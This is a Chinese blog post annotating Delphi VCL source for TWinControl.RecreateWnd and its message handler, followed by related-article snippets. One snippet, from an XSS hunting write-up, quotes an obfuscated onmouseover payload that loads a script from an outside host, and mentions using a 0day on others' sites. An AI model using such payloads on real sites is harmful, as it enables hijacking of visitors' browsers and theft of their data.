有趣的TWinControl.RecreateWnd,并分析在哪些场合使用

CM_RECREATEWND = CM_BASE + 51; // TWinControl里有对应函数
procedure CMRecreateWnd(var Message: TMessage); message CM_RECREATEWND; // important 毁掉后,重新创建,并加上焦点
procedure RecreateWnd; // 非虚函数,发消息CM_RECREATEWND 重新创建组件 fixme 为什么不把销毁工作写在这里,非要另外另起一个消息响应函数呢。原因一方面是可以附加参数,另一方面发消息调用更灵活,VMT表更小

procedure TWinControl.RecreateWnd;
begin
if FHandle <> 0 then Perform(CM_RECREATEWND, 0, 0);
end;

procedure TWinControl.CMRecreateWnd(var Message: TMessage);
var
WasFocused: Boolean;
begin
WasFocused := Focused; // 类函数,调用API检测
DestroyHandle; // 调用入口函数 fixme 句柄值被变掉了怎么办
UpdateControlState; // 检查一下,然后在显示的过程中再次创建
if WasFocused and (FHandle <> 0) then Windows.SetFocus(FHandle); // API
end;

procedure TWinControl.CMBiDiModeChanged(var Message: TMessage);
begin
inherited;
if (SysLocale.MiddleEast) and (Message.wParam = 0) then
RecreateWnd;
NotifyControls(CM_PARENTBIDIMODECHANGED);
end;

时间: 2024-10-30 05:23:32

有趣的TWinControl.RecreateWnd,并分析在哪些场合使用的相关文章

(转) exp1:// 一次有趣的XSS漏洞挖掘分析(1)

from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套程序还是很有意思的.因为是过去式的文章,所以没有图.但是希望把经验分享出来,可以帮到和我一样爱好XSS的朋友.我个人偏爱富文本XSS,因为很有趣.有趣的地方是你需要一点一点的测试都过滤了些什么,怎么过滤的.我想,这也是黑盒测试最让人着迷的地方吧    首先,锁定了提交问题的模块,因为这块有编辑器.然后开

Android中一个有趣的crash的日志分析

很久前写的一篇文章,发出来以作纪念:) Android中一个有趣的crash的日志分析 首先看看bugly平台中异常的统计信息,表面上是一个NullPointerException: 发生异常设备统计信息如下图,有意思的是全部都是root过的机器: 接下来看跟踪日志,在最下面可以看到这样的日志,抛出了NullpointerException: 引起异常的是com.lishu.net.LishuNet$2类,从类名看显然是某一个类的内部类. 第一个反应,当然是搜索一下应用的源代码,看看是不是有co

(转) exp1-2://一次有趣的XSS漏洞挖掘分析(2)

第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就让人给搞没了.本来想的就算了.但是突然觉得还是想看看程序员是怎么修复的.(说实话,搞了那么多天也有感情了不是) <p onmouseover="\u0064ocument.write('<sc'+'ript src=//zsy.ca/33></sc'+'ript>')&

(转) exp1-3://一次有趣的XSS漏洞挖掘分析(3)最终篇

这真是最后一次了.真的再不逗这个程序员了.和预期一样,勤奋的程序员今天又更新程序了.因为前面写的payload都有一个致命的弱点,就是document.write()会完全破坏DOM结构.而且再“完事儿”之后,还不会跳转到本应该跳转的页面.所以还是那么容易就被发现了.(也包括我犯贱老找别人网站做测试)反思 昨天在去便利店买烟的时候,发现了自己犯的一个错误.就当是纠正一下前面的2篇吧.当我们的JS是在script标签内的时候,像这样: <script>document.write(123)<

用Python分析了数千个微信昵称后,发现了这些秘密!

01 Let's get it 1. 基本信息获取 访问 英文取名 的用户基本信接口,获取 英文取名 用户微信名(NickName).访问次数(Count).总数据集(ResponseData),并将微信名存入文件. # 获取所有用户数量和相关信息 def get_json():     # 获取入口     search_url = '英文取名用户接口,欢迎扫码使用英文取名,生成一个最适合你的英文名'     # 发送http请求,获取请求页面     search_response = re

iOS安全攻防之使用 Frida 绕过越狱设备检测

Frida 是 一款有趣的手机应用安全分析工具. 文章参考:Bypass Jailbreak Detection with Frida in iOS applications

压缩感知(compressed sensing)科普两则

文章贴自:http://www.cvchina.info/2010/06/08/compressed-sensing-2/#more-1173 这是数学家陶哲轩在他自己的blog上写的一篇科普文章,讨论的是近年来在应用数学领域里最热门的话题之一:压缩感知(compressed sensing). 所谓压缩感知,最核心的概念在于试图从原理上降低对一个信号进行测量的成本.比如说,一个信号包含一千个数据,那么按照传统的信号处理理论,至少需要做一 千次测量才能完整的复原这个信号.这就相当于是说,需要有一

《番茄工作法图解》第二章阅读笔记

<番茄工作法图解>第二章 背景 通过执行一套相同的动作和准备程序,可以使大脑自我调整,进入执行某类事务的最佳状态. 多巴胺神经递质的职责之一是保持人的警觉性.一种理论解释为什么有些人常常多动,是因为大脑要弥补多巴胺产量的不足,从而增加了肾上腺素的产生. 要让注意力处于最佳状态,需要在半小时之间进行短暂休息,每周安排不超过40小时的工作计划.我的经验告诉我,采取可持续的步伐,是工作卓有成效的前提. 在短期记忆中信息通畅以声音形势存储.与此相对,在长期记忆中信息通常以语义形势存储.延迟回忆更容易记

数字图像处理,初识压缩感知Compressive Sensing

声明: 本文为转载, 原作者Rachel-Zhang. 原博客地址:http://blog.csdn.net/abcjennifer 原文地址,http://blog.csdn.net/abcjennifer/article/details/7721834/ 压缩感知是近年来极为热门的研究前沿,在若干应用领域中都引起瞩目.最近粗浅地看了这方面一些研究,对于Compressive Sensing有了初步理解,在此分享一些资料与精华.本文针对陶哲轩和Emmanuel Candes上次到北京的讲座中对